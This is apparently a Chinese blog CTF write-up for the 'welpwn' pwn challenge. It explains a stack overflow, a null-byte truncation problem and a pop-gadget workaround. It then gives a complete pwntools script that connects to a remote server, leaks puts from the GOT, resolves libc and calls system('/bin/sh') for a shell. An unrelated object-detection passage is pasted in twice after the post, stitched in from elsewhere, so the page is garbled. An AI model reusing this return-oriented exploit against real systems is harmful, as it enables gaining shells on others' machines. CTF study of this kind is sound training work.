学习笔记

攻防世界[pwn]welpwn

1.查看保护
在这里插入图片描述
没开金丝雀,再看看IDA
在这里插入图片描述
在这里插入图片描述
这里可以看到我们通过read输入的数据最终被传入到了v2中,可以通过echo这个函数经行栈溢出,但是如果直接通过函数,会发现程序异常终止,为什么呢这里是我一开始没想到的可以看看我的思路
2.在这里插入图片描述
在这里插入图片描述
来看看这个函数,可以算出可以通过输入0x18个字符a来控制函数的返回地址,但是经过实践发现程序异常中断,为什么呢,原来我们最后输入的返回地址包含’\x00’这个终止符,导致函数读取到了这里就停止读取了,那该怎么办啊,可以发现这次函数溢出所需的字符很少那么想让它继续溢出,就可以通过函数调用前所压入的参数(也就是我们输入的v4)来继续执行我们的脚本,简单计算一下:0x18/8=3还要运行我们的代码所以还要加1,所以就要4个pop,如图
在这里插入图片描述
然后泄露地址就行,下面看payload

from pwn import *
from LibcSearcher import *
context.log_level='debug'
e = ELF('./81f42c219e81421ebfd1bedd19cf7eff')
io = remote('111.200.241.244',48537)
#io = process('./81f42c219e81421ebfd1bedd19cf7eff')
pop_di = 0x4008a3
pop4_ret = 0x40089c
io.recv()
pay = b'a'*0x18+p64(pop4_ret)+p64(pop_di)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.symbols['main'])
io.sendline(pay)
p = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info('puts ==> %#x',p)
io.recv()
libc = LibcSearcher('puts',p)
base = p - libc.dump('puts')
system_addr = base+libc.dump('system')
str_bin_sh_addr = base+libc.dump('str_bin_sh')
payload = b'a'*0x18+p64(pop4_ret)+p64(pop_di)+p64(str_bin_sh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

下面是执行情况
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
目标检测(Object Detection)是计算机视觉领域的一个核心问题,其主要任务是找出图像中所有感兴趣的目标(物体),并确定它们的类别和位置。以下是对目标检测的详细阐述: 一、基本概念 目标检测的任务是解决“在哪里?是什么?”的问题,即定位出图像中目标的位置并识别出目标的类别。由于各类物体具有不同的外观、形状和姿态,加上成像时光照、遮挡等因素的干扰,目标检测一直是计算机视觉领域最具挑战性的任务之一。 二、核心问题 目标检测涉及以下几个核心问题: 分类问题:判断图像中的目标属于哪个类别。 定位问题:确定目标在图像中的具体位置。 大小问题:目标可能具有不同的大小。 形状问题:目标可能具有不同的形状。 三、算法分类 基于深度学习的目标检测算法主要分为两大类: Two-stage算法:先进行区域生成(Region Proposal),生成有可能包含待检物体的预选框(Region Proposal),再通过卷积神经网络进行样本分类。常见的Two-stage算法包括R-CNN、Fast R-CNN、Faster R-CNN等。 One-stage算法:不用生成区域提议,直接在网络中提取特征来预测物体分类和位置。常见的One-stage算法包括YOLO系列(YOLOv1、YOLOv2、YOLOv3、YOLOv4、YOLOv5等)、SSD和RetinaNet等。 四、算法原理 以YOLO系列为例,YOLO将目标检测视为回归问题,将输入图像一次性划分为多个区域,直接在输出层预测边界框和类别概率。YOLO采用卷积网络来提取特征,使用全连接层来得到预测值。其网络结构通常包含多个卷积层和全连接层,通过卷积层提取图像特征,通过全连接层输出预测结果。 五、应用领域 目标检测技术已经广泛应用于各个领域,为人们的生活带来了极大的便利。以下是一些主要的应用领域: 安全监控:在商场、银行
目标检测(Object Detection)是计算机视觉领域的一个核心问题,其主要任务是找出图像中所有感兴趣的目标(物体),并确定它们的类别和位置。以下是对目标检测的详细阐述: 一、基本概念 目标检测的任务是解决“在哪里?是什么?”的问题,即定位出图像中目标的位置并识别出目标的类别。由于各类物体具有不同的外观、形状和姿态,加上成像时光照、遮挡等因素的干扰,目标检测一直是计算机视觉领域最具挑战性的任务之一。 二、核心问题 目标检测涉及以下几个核心问题: 分类问题:判断图像中的目标属于哪个类别。 定位问题:确定目标在图像中的具体位置。 大小问题:目标可能具有不同的大小。 形状问题:目标可能具有不同的形状。 三、算法分类 基于深度学习的目标检测算法主要分为两大类: Two-stage算法:先进行区域生成(Region Proposal),生成有可能包含待检物体的预选框(Region Proposal),再通过卷积神经网络进行样本分类。常见的Two-stage算法包括R-CNN、Fast R-CNN、Faster R-CNN等。 One-stage算法:不用生成区域提议,直接在网络中提取特征来预测物体分类和位置。常见的One-stage算法包括YOLO系列(YOLOv1、YOLOv2、YOLOv3、YOLOv4、YOLOv5等)、SSD和RetinaNet等。 四、算法原理 以YOLO系列为例,YOLO将目标检测视为回归问题,将输入图像一次性划分为多个区域,直接在输出层预测边界框和类别概率。YOLO采用卷积网络来提取特征,使用全连接层来得到预测值。其网络结构通常包含多个卷积层和全连接层,通过卷积层提取图像特征,通过全连接层输出预测结果。 五、应用领域 目标检测技术已经广泛应用于各个领域,为人们的生活带来了极大的便利。以下是一些主要的应用领域: 安全监控:在商场、银行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值